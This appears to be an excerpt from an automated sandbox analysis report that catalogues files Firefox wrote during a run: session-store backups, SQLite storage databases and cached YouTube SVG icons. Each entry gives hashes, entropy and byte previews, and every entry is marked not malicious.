Preview:	mozLz40..(....{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://accounts.google.com/","title'....cacheKey":0,"ID":6,"docshellUU...D"{fa1e18a7-507b-47a7-805c-76d70f970b08}","resultPrincipalURI":null,"hasUserInteract....false,"triggering9.p_base64{..\"3\":{}_..6docIdentifier":7,"persist":true}],"lastAccessed":1705541014100,"hiddey..searchMode...userContextId...attributy..{},"index":1...questedI..p0,"imagr...chrome://global/skin/icons/warning.svg"},....www.youtub...YouTube....7&......1742fc7f-ec31-4d4b-8a9e-5a9af09cd22b^...referrerInfo":"BBoSnxDOS9qmDeAnom1e0A...w..$EY.....0BAQ..oABAA==..^.8,"childr...)..pv3/sign...[..?continue=c..%3A%2F%2F..2%2F;.2%3F..._handle_...D....%26app%3Ddesktop%26hl%3Den%26next%3D%25M..._passive%26feature%3D...J&hl=en&ifkv=ASKXGp2Xy2acD3iB-qLH4_qH1RraDwP57n2LZ4q1ba3dhkeBuj1InXA07Jh5TaATuVCNKvXRXPnA&t..=...&service=~...&uilel=3&flowName=GlifWebSignIn..rEntry=S9...Login&dsh=S-1224182892%3A....34543247268&theme=glif....Error 403 (Forb..O)!!1

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 10479 bytes
Category:	dropped
Size (bytes):	3209
Entropy (8bit):	6.698623004336961
Encrypted:	false
SSDEEP:	48:DpObkxeU7goMlSFXutOdzpxP3KPVxT49mEMEe3cW8qpEYwMejUHKfkuU6/Rh5E:hcoMlyRzpxvKL49m9cWvmiKTZh5E
MD5:	30F4E6666495FAF0702F8DC67B02C552
SHA1:	132D7648399D58AE80DBB8888E33C80E5B3F9FD2
SHA-256:	EF6A7B5D7F9F87CB6957DC4FC7E9FE71329919166542ADE552214898AB9D512F
SHA-512:	90DB0202F0C94B022634C76FEFD8301AD119C0C006AB804BE7B7CBBF016C49C188F2F9E969D598E5AF9D6E3710A19ECE69BC627280585FE1BF0DA504DA32DBF5
Malicious:	false
Reputation:	unknown
Preview:	mozLz40..(....{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://accounts.google.com/","title'....cacheKey":0,"ID":6,"docshellUU...D"{fa1e18a7-507b-47a7-805c-76d70f970b08}","resultPrincipalURI":null,"hasUserInteract....false,"triggering9.p_base64{..\"3\":{}_..6docIdentifier":7,"persist":true}],"lastAccessed":1705541014100,"hiddey..searchMode...userContextId...attributy..{},"index":1...questedI..p0,"imagr...chrome://global/skin/icons/warning.svg"},....www.youtub...YouTube....7&......1742fc7f-ec31-4d4b-8a9e-5a9af09cd22b^...referrerInfo":"BBoSnxDOS9qmDeAnom1e0A...w..$EY.....0BAQ..oABAA==..^.8,"childr...)..pv3/sign...[..?continue=c..%3A%2F%2F..2%2F;.2%3F..._handle_...D....%26app%3Ddesktop%26hl%3Den%26next%3D%25M..._passive%26feature%3D...J&hl=en&ifkv=ASKXGp2Xy2acD3iB-qLH4_qH1RraDwP57n2LZ4q1ba3dhkeBuj1InXA07Jh5TaATuVCNKvXRXPnA&t..=...&service=~...&uilel=3&flowName=GlifWebSignIn..rEntry=S9...Login&dsh=S-1224182892%3A....34543247268&theme=glif....Error 403 (Forb..O)!!1

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 10479 bytes
Category:	dropped
Size (bytes):	3209
Entropy (8bit):	6.698623004336961
Encrypted:	false
SSDEEP:	48:DpObkxeU7goMlSFXutOdzpxP3KPVxT49mEMEe3cW8qpEYwMejUHKfkuU6/Rh5E:hcoMlyRzpxvKL49m9cWvmiKTZh5E
MD5:	30F4E6666495FAF0702F8DC67B02C552
SHA1:	132D7648399D58AE80DBB8888E33C80E5B3F9FD2
SHA-256:	EF6A7B5D7F9F87CB6957DC4FC7E9FE71329919166542ADE552214898AB9D512F
SHA-512:	90DB0202F0C94B022634C76FEFD8301AD119C0C006AB804BE7B7CBBF016C49C188F2F9E969D598E5AF9D6E3710A19ECE69BC627280585FE1BF0DA504DA32DBF5
Malicious:	false
Reputation:	unknown
Preview:	mozLz40..(....{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://accounts.google.com/","title'....cacheKey":0,"ID":6,"docshellUU...D"{fa1e18a7-507b-47a7-805c-76d70f970b08}","resultPrincipalURI":null,"hasUserInteract....false,"triggering9.p_base64{..\"3\":{}_..6docIdentifier":7,"persist":true}],"lastAccessed":1705541014100,"hiddey..searchMode...userContextId...attributy..{},"index":1...questedI..p0,"imagr...chrome://global/skin/icons/warning.svg"},....www.youtub...YouTube....7&......1742fc7f-ec31-4d4b-8a9e-5a9af09cd22b^...referrerInfo":"BBoSnxDOS9qmDeAnom1e0A...w..$EY.....0BAQ..oABAA==..^.8,"childr...)..pv3/sign...[..?continue=c..%3A%2F%2F..2%2F;.2%3F..._handle_...D....%26app%3Ddesktop%26hl%3Den%26next%3D%25M..._passive%26feature%3D...J&hl=en&ifkv=ASKXGp2Xy2acD3iB-qLH4_qH1RraDwP57n2LZ4q1ba3dhkeBuj1InXA07Jh5TaATuVCNKvXRXPnA&t..=...&service=~...&uilel=3&flowName=GlifWebSignIn..rEntry=S9...Login&dsh=S-1224182892%3A....34543247268&theme=glif....Error 403 (Forb..O)!!1

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 4, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.042811512334329
Encrypted:	false
SSDEEP:	24:JBkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jkSWEUo9LXtR+JdkOnohYsl
MD5:	21235938025E2102017AC8C9748948A4
SHA1:	A1EED1C4588724A8396C95FC9923C0A33B360FF8
SHA-256:	E34B06B180E3F73DC8E441650BB7FE694A9D58E927412D6ED40B0852B784824E
SHA-512:	D334B419A2A75179C17D7F53BF65FCC132ADE03B21059F0007ACDBB08284A281D8CE1C1CC598E6A070024D0DAE158E2E9618E121342BE068E87A051FE33D6061
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	2072
Entropy (8bit):	0.40515745898509187
Encrypted:	false
SSDEEP:	3:7FEG2l8G/lX9dlp/FlrON/TX/lrON//QMRgSEBtl/StlVltllJWXXn:7+/lrP/E/W/ngvBtlq2Hn
MD5:	C4946C17959C95E948E167E8B78A0216
SHA1:	A015D7F37A8BB62ADFD48BFA1BF95BA94276C76F
SHA-256:	AE58B6458B75B14D2732E3645321F0232297C719EC31840584D6C14341BCDDEF
SHA-512:	67E45B70D6AC85F9A9C59033A0A00EE9A8259379DF4B2B924A0A868C8DBC141825ACDB904E2B0C352607EF261BCBFE8A714246A20071E6775A1126BA98C70EB2
Malicious:	false
Reputation:	unknown
Preview:	.... .c......qk.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\.metadata-v2 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.5087266693868315
Encrypted:	false
SSDEEP:	3:wwHszYrSLUxGTl:wyTGLUxGp
MD5:	FE71EB1A36683120A8C5FB2D396C85DA
SHA1:	015D030EE1C15642717AF79BD84629911A5C87FD
SHA-256:	33AE1F8E9689FB98536FB1CD45FD516FE6B2E4C876F8C4EAEE0B5B4713DEF414
SHA-512:	31FD8040EAE49BC2403DEDC7336931BB0266B71A2EC79E1D30D313EEFC10124B6C2AEAB2BF8E358F91C6B1361F80474156C2DF3411F95577A217CC5E588BF0AF
Malicious:	false
Reputation:	unknown
Preview:	...,.s.......................https://www.youtube.com.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\.metadata-v2-tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.5087266693868315
Encrypted:	false
SSDEEP:	3:wwHszYrSLUxGTl:wyTGLUxGp
MD5:	FE71EB1A36683120A8C5FB2D396C85DA
SHA1:	015D030EE1C15642717AF79BD84629911A5C87FD
SHA-256:	33AE1F8E9689FB98536FB1CD45FD516FE6B2E4C876F8C4EAEE0B5B4713DEF414
SHA-512:	31FD8040EAE49BC2403DEDC7336931BB0266B71A2EC79E1D30D313EEFC10124B6C2AEAB2BF8E358F91C6B1361F80474156C2DF3411F95577A217CC5E588BF0AF
Malicious:	false
Reputation:	unknown
Preview:	...,.s.......................https://www.youtube.com.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\.padding

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	7DEA362B3FAC8E00956A4952A3D4F474
SHA1:	05FE405753166F125559E7C9AC558654F107C7E9
SHA-256:	AF5570F5A1810B7AF78CAF4BC70A660F0DF51E42BAF91D4DE5B2328DE0E83DFC
SHA-512:	1B7409CCF0D5A34D3A77EAABFA9FE27427655BE9297127EE9522AA1BF4046D4F945983678169CB1A7348EDCAC47EF0D9E2C924130E5BCC5F0D94937852C42F1B
Malicious:	false
Reputation:	unknown
Preview:	........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\caches.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 28, last written using SQLite version 3042000, writer version 2, read version 2, file counter 3, database pages 67, cookie 0xa, schema 4, largest root page 14, UTF-8, vacuum mode 1, version-valid-for 3
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	5.288284267636988
Encrypted:	false
SSDEEP:	3072:UQ1UTBaiVZSiBgx5Y8PI+tQIdLOJ5QhVZu/J2NiBHGRwD:CscMY8g+t1dLOLVhQc0m
MD5:	EB33F1C6A96459C3E7C1B009C7EEC490
SHA1:	D1B5FC9E7F39E3F89E346AF450D85C05580A1EEF
SHA-256:	2985826E68DD36B636843CA4C0C3B319DA9F7E9A579F8D39760C23B91DD65C65
SHA-512:	A47896512D702FBD9F357BC30EB4C9189B84D9AA942ECBBDA6AB2503736FBD845CA4451C0DD25968A2C53713AF60306DF250145CD2F009B7359FCCAFB5F4C907
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......C..................................................................j............O...5.*..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\caches.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.14037660545938688
Encrypted:	false
SSDEEP:	3:7FEG2l+S+9/FllkpMRgSWbNFl/sl+ltlsl8lcWllC:7+/l2vg9bNFlEs1E0c/
MD5:	F3B30F7282F3A2C6A72FA67A397D66F2
SHA1:	00F89F6E7BF611551B5F08A529B63A964CFDCCC2
SHA-256:	4F99BB2B75886DA297536CB6EF72DE9DFEC33AD3115B19B87FA8263DE7EF5CB9
SHA-512:	575FD1F7FFF22C0254A238272E29B3D6C9DA177F25D9FF98CF322F0AC692BD00217E061DE6FFC742DBDEBC0AF7480CEB6A805654F49CFFFF24AED24B78800A8B
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....b..z....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................j.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\caches.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.05008393509338016
Encrypted:	false
SSDEEP:	3:Gw/saYeSdNiUoq/saYeSdNiM1ZR9//XlOBhxl/9Qlyll/lvll8llhllQllNlclYA:Gxe39XCAylXU1IyQI
MD5:	A3F9F2D041AD51A8DBFEDF2542CDD2F8
SHA1:	2831F0CEB6B97EE9CDC9552B898A84B165E4BB7B
SHA-256:	97969096E7817AD2086BD4CC400AE9A086EB9A2BD842F87782E324F9A309DAA7
SHA-512:	0AF43F3FBAE3B549F0A0941E7C4CE4C246F737F23C932F3CD79AE7CA106494A41B8F19BB191A36BDD41C28501734D2E3DC5AD163F066C9611CCA3A2FE6F8E7FB
Malicious:	false
Reputation:	unknown
Preview:	..-.....l...........C......VH...~.87..`.S_.8.v...-.....l...........C......VH...~.87..`.S_.8.v.............................................................#...&...(...,...2...5...:...=...@...B...C...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\caches.sqlite-wal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	589192
Entropy (8bit):	5.626215051156115
Encrypted:	false
SSDEEP:	12288:Ec3+Hco+6cM+Qcp+ac8+bcC+fca+5co+9:V+n+M+D+c+J+h+R+9
MD5:	59257952D73CA1C4E4E80BC3DC7AEBCF
SHA1:	EC084C4E88C4A15C3CCBB61591CB86CDE15BDD57
SHA-256:	30AF6EE0D0C3E216B4C5A5467BF3ACDA319EE94C2153AFF64394DCFF7A17DCBE
SHA-512:	5FD94241E802105FB3399E880B3768F0DB4EDE974DF7A1A8D415D8BB4361B2D62B4C68C281B31D96876021E2273B10B72229D2518192AAEABC02F0A502833B8A
Malicious:	false
Reputation:	unknown
Preview:	7....-...........~.87..`...9............~.87..`b.H..=.!....c........ .W.#.F.&...K.............@...q...................,.I.........].2...C......._.........\|.....).v.=.:.............7...............k.t.4...T.........w.....y.....`.1...N.Q.b./.......h.Z.H...n.e......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\100\{2253e3d3-1d2e-478a-8ef6-04c84b710264}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	386
Entropy (8bit):	5.124557767335627
Encrypted:	false
SSDEEP:	12:9D47N9UvftnY8/4U0wRJHAoZ6iiYp1GTDoyL+i:9sjUvz/4U0OHFoq1GTDtN
MD5:	93215D67966BCB26AFDFAA76AA00AA91
SHA1:	AA3252645ABEAE4E228D6595C93D829AFAD380A8
SHA-256:	AAF4281AB5534BF37010C4E3ED86DAB18A9F4CF8185F85BA7B0E6AC59C844849
SHA-512:	52DF1847B0B802417B245E1FD51197349639FB25ECE34A48003120B2920255B52848B3318F0F9602F8D8BF22BC7E761082BEFCD21B9D06B6A1E882A23F8C9BA6
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.t.........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...q><path d="M14 6V3c-.85.44-1.7.88-2.55 1.33-1.41.74-2.9 1.34-4.17 2.32-1.13.87-2.02 2.05-2.58 3.37-.46 1.09-.7 2.29....3.48v.14C4 18.26 7.58 22 12 22s8-3.74 8-8.36V2l-6 4zm0 9.7c0 1.82-1.34 3.3-3 3.3s-3-1.47-3-3.3c0-1.19.58-2.24 1.45-2.82L14 10v5.7z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\100\{2253e3d3-1d2e-478a-8ef6-04c84b710264}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	386
Entropy (8bit):	5.124557767335627
Encrypted:	false
SSDEEP:	12:9D47N9UvftnY8/4U0wRJHAoZ6iiYp1GTDoyL+i:9sjUvz/4U0OHFoq1GTDtN
MD5:	93215D67966BCB26AFDFAA76AA00AA91
SHA1:	AA3252645ABEAE4E228D6595C93D829AFAD380A8
SHA-256:	AAF4281AB5534BF37010C4E3ED86DAB18A9F4CF8185F85BA7B0E6AC59C844849
SHA-512:	52DF1847B0B802417B245E1FD51197349639FB25ECE34A48003120B2920255B52848B3318F0F9602F8D8BF22BC7E761082BEFCD21B9D06B6A1E882A23F8C9BA6
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.t.........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...q><path d="M14 6V3c-.85.44-1.7.88-2.55 1.33-1.41.74-2.9 1.34-4.17 2.32-1.13.87-2.02 2.05-2.58 3.37-.46 1.09-.7 2.29....3.48v.14C4 18.26 7.58 22 12 22s8-3.74 8-8.36V2l-6 4zm0 9.7c0 1.82-1.34 3.3-3 3.3s-3-1.47-3-3.3c0-1.19.58-2.24 1.45-2.82L14 10v5.7z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\100\{c19ef7f2-9dc0-40f1-b310-1931c2b55e64}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	264
Entropy (8bit):	5.289276279049825
Encrypted:	false
SSDEEP:	6:9fnAqK9mc4slmKkmPUtlXX5xiUyaQ4J5GXyAajYUNSprwPQlTC:9HKIrmPoXXmUI8Yaj/SVW
MD5:	887D18F5D2A951296BCEECCC0A2908BC
SHA1:	D9EA3E25C31F63FA2B5C234DF3F4A22C87B7ABDD
SHA-256:	47C2305553E87DB8D59361705090FDA372C32938564297A6DB1DEC0E5DCBCF20
SHA-512:	CE858E1C6730655D32E099D8C2804288A654BF2F7629C9BFF0A28636473C1834FC9F8E437E04B0B985998EE7CC499ABC3B474AB292F3D7180E5E6ADBB4D07956
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....C.....u<svg xmlns="http://www.w3.org/2000/svg"><path d="M3 9v6h4l5 5V4L7 9H3zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 ...2.25 ...4.02zM14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5...-.4.01-.91 7-4.49 7-8.77s-2.99-7.86-7..@z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\100\{c19ef7f2-9dc0-40f1-b310-1931c2b55e64}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	264
Entropy (8bit):	5.289276279049825
Encrypted:	false
SSDEEP:	6:9fnAqK9mc4slmKkmPUtlXX5xiUyaQ4J5GXyAajYUNSprwPQlTC:9HKIrmPoXXmUI8Yaj/SVW
MD5:	887D18F5D2A951296BCEECCC0A2908BC
SHA1:	D9EA3E25C31F63FA2B5C234DF3F4A22C87B7ABDD
SHA-256:	47C2305553E87DB8D59361705090FDA372C32938564297A6DB1DEC0E5DCBCF20
SHA-512:	CE858E1C6730655D32E099D8C2804288A654BF2F7629C9BFF0A28636473C1834FC9F8E437E04B0B985998EE7CC499ABC3B474AB292F3D7180E5E6ADBB4D07956
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....C.....u<svg xmlns="http://www.w3.org/2000/svg"><path d="M3 9v6h4l5 5V4L7 9H3zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 ...2.25 ...4.02zM14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5...-.4.01-.91 7-4.49 7-8.77s-2.99-7.86-7..@z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\102\{6b8d0e73-058e-4797-ad28-3c954f19a766}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	5.317318668988756
Encrypted:	false
SSDEEP:	3:9/ld3cgbIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHPKlhQtNNUunhjQAZi:9/DjbI9mc4slhohC/vmI4PKlGtNNUunK
MD5:	51BB0FE00991A2AE6707B3AEFC583918
SHA1:	21EC201EBF41AD57FAAAB02F7961CE5A746E6DBB
SHA-256:	97DC140355B2B45B54C3DAB1AC66B951AFAE0BC742402CBC342BE117F4424E0A
SHA-512:	41863CC0F1252366A5514DD62A06F4BBA493029B8C7A35E19173B6D7F9114E7098FA35D284623B6641D28F7D7BEE1CE99064987AFC985DBF0354368F71F9A39B
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....$....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M21 6H3V5h18v1zm0 5H3v1h18v-1zm0 6H3v1h18v-1z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\102\{6b8d0e73-058e-4797-ad28-3c954f19a766}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	5.317318668988756
Encrypted:	false
SSDEEP:	3:9/ld3cgbIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHPKlhQtNNUunhjQAZi:9/DjbI9mc4slhohC/vmI4PKlGtNNUunK
MD5:	51BB0FE00991A2AE6707B3AEFC583918
SHA1:	21EC201EBF41AD57FAAAB02F7961CE5A746E6DBB
SHA-256:	97DC140355B2B45B54C3DAB1AC66B951AFAE0BC742402CBC342BE117F4424E0A
SHA-512:	41863CC0F1252366A5514DD62A06F4BBA493029B8C7A35E19173B6D7F9114E7098FA35D284623B6641D28F7D7BEE1CE99064987AFC985DBF0354368F71F9A39B
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....$....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M21 6H3V5h18v1zm0 5H3v1h18v-1zm0 6H3v1h18v-1z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\106\{dd8b2d5c-6b0c-44a8-b50f-00192e11196a}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	233
Entropy (8bit):	5.225435345101882
Encrypted:	false
SSDEEP:	6:9hI9mc4slhohC/vmI4mqUEUKFI8mRKuw6Y8:92noU/vmREaI8Kw6Y8
MD5:	B6C6D354EB2E7E52ADB948C0366F0053
SHA1:	D7F4586D41FCEE9BE681C70BF002D36F6D2ED624
SHA-256:	8383E636C9249A611493D7C83A9F02BBC0D9566D5D3389D8082AD6042271EF28
SHA-512:	9A08680E4AEF9E54A24E7956858FFEA9871F874966CB36FEF70B5E49F6126B2662C443B4049A3C4D74FDCC00C83D3AF12072FADB11A96ECDDBB87280A0A2303F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....d..M....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="m22.01 4.91-.5-2.96L1.64 5.19 2 8v13h20V8H3.06l18.95-3.09zM5 9l1 3h3L8 9h2l1 3h3l-1-3h2l1 3h3l-1-3h3v11H3V9h2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\106\{dd8b2d5c-6b0c-44a8-b50f-00192e11196a}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	233
Entropy (8bit):	5.225435345101882
Encrypted:	false
SSDEEP:	6:9hI9mc4slhohC/vmI4mqUEUKFI8mRKuw6Y8:92noU/vmREaI8Kw6Y8
MD5:	B6C6D354EB2E7E52ADB948C0366F0053
SHA1:	D7F4586D41FCEE9BE681C70BF002D36F6D2ED624
SHA-256:	8383E636C9249A611493D7C83A9F02BBC0D9566D5D3389D8082AD6042271EF28
SHA-512:	9A08680E4AEF9E54A24E7956858FFEA9871F874966CB36FEF70B5E49F6126B2662C443B4049A3C4D74FDCC00C83D3AF12072FADB11A96ECDDBB87280A0A2303F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....d..M....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="m22.01 4.91-.5-2.96L1.64 5.19 2 8v13h20V8H3.06l18.95-3.09zM5 9l1 3h3L8 9h2l1 3h3l-1-3h2l1 3h3l-1-3h3v11H3V9h2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\107\{45101b82-582b-47a0-8260-9d2f48e1766b}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.371960328950732
Encrypted:	false
SSDEEP:	6:95W9mc4slhohC/vmVR9MQF1/5QwfUXCt+:95OnoU/vmVR9MQ1/5Q6b+
MD5:	ED6FD5E11DFC8E4CF53EA851EA9EDE04
SHA1:	FC392E8D4F64AEC77D892182F63FEDCD543977BF
SHA-256:	478C763F896D5B271626A85070B75E8D66DD1EED1DCD244D9D6874BB1C24E6B1
SHA-512:	5DA78D681D8FEED8958B8FC60C4BC7975E9A4CF3E94E884E2525005CC1852C5643CAC43CFC0C387381AB6F8D97D90A1D22B31FAA0A1EE3529117B471CF6FF21E
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....c......}<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><polygon points="19.35,11.5 11.5,3.65 3.65,...4..,2.21 11,5.56...20 12.....8.202.21"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\107\{45101b82-582b-47a0-8260-9d2f48e1766b}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.371960328950732
Encrypted:	false
SSDEEP:	6:95W9mc4slhohC/vmVR9MQF1/5QwfUXCt+:95OnoU/vmVR9MQ1/5Q6b+
MD5:	ED6FD5E11DFC8E4CF53EA851EA9EDE04
SHA1:	FC392E8D4F64AEC77D892182F63FEDCD543977BF
SHA-256:	478C763F896D5B271626A85070B75E8D66DD1EED1DCD244D9D6874BB1C24E6B1
SHA-512:	5DA78D681D8FEED8958B8FC60C4BC7975E9A4CF3E94E884E2525005CC1852C5643CAC43CFC0C387381AB6F8D97D90A1D22B31FAA0A1EE3529117B471CF6FF21E
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....c......}<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><polygon points="19.35,11.5 11.5,3.65 3.65,...4..,2.21 11,5.56...20 12.....8.202.21"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\10\{19ead043-bd1e-49c3-98ea-9872c2ffde0a}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.476773079996045
Encrypted:	false
SSDEEP:	3:9YVbRZWqKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT17mbr4+HELK9hrqgrNI2fSb8:9YRZW/9mc4slhLJ9hCcA2shrlrNI26b8
MD5:	5525A3D889A5F2B22309572B81EB632F
SHA1:	75570ECF4E74C8094526263C3F8FCAF09D4EA87B
SHA-256:	82B1F81789C3CF58F4985BCF3DD14D3606A9BDA013BC08501E36BF46C4FD4E52
SHA-512:	D1E9153D5DA3549D63B5833648191EC199A616E64C343B2985A11626465BCB728E39A3A04B906EA5BD42BFF8B7376EF1A26E65C4E62B689AF0CBA19487FE982C
Malicious:	false
Reputation:	unknown
